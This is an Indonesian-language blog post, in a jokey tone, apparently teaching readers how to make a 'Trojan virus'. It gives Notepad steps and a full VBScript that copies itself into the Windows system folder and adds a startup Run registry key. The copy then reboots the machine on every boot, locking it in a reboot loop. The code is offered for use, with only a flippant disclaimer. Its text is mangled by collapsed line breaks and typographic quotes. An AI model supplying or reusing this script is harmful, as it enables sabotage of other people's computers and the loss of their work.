Cara Membuat Virus Trojan

Baca Juga

Yaa bertemu lagi dengan orang ganteng :v Cara membuat virus nihh gan, nama asli virus ini adalah Trojan Horse,gampang gan buatnya eaa

1. Buka Notepad | All Program > Notepad
2. Copy Dan Pate Script Berikut Ke Notepad !

set FSobj=CreateObject(“Scripting.FileSystemObject”)set sysDir = FSobj.GetSpecialFolder(1)createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”sub createRegKey(regKey,regVal)set regEdit = CreateObject(“WScript.Shell”)regEdit.RegWrite regKey,regValend subset generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)generateCopy.closeset newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)setFile()fixedCode=replace(fileData,chr(94),”"”")set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)procreateCopy.write fixedCodeprocreateCopy.closerebootSystem()function setFile()fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _“strComputer = ^.^ ” &vbcrlf& _“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _“ObjOperatingSystem.Reboot()” &vbcrlf& _“Next”end functionfunction rebootSystem()strComputer = “.”Set objWMIService = GetObject(“winmgmts:” _& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)Set colOperatingSystems = objWMIService.ExecQuery _(“Select * from Win32_OperatingSystem”)For Each objOperatingSystem in colOperatingSystemsObjOperatingSystem.Reboot()Nextend function


3.Simpan dengan Extensi .VBS contoh
Ganteng.VBS ,Pilih All Files, Kemudian Save

4. Jangan Di Klik!!!
Saya tidak bertanggung jawab jika komputer kalian rusak.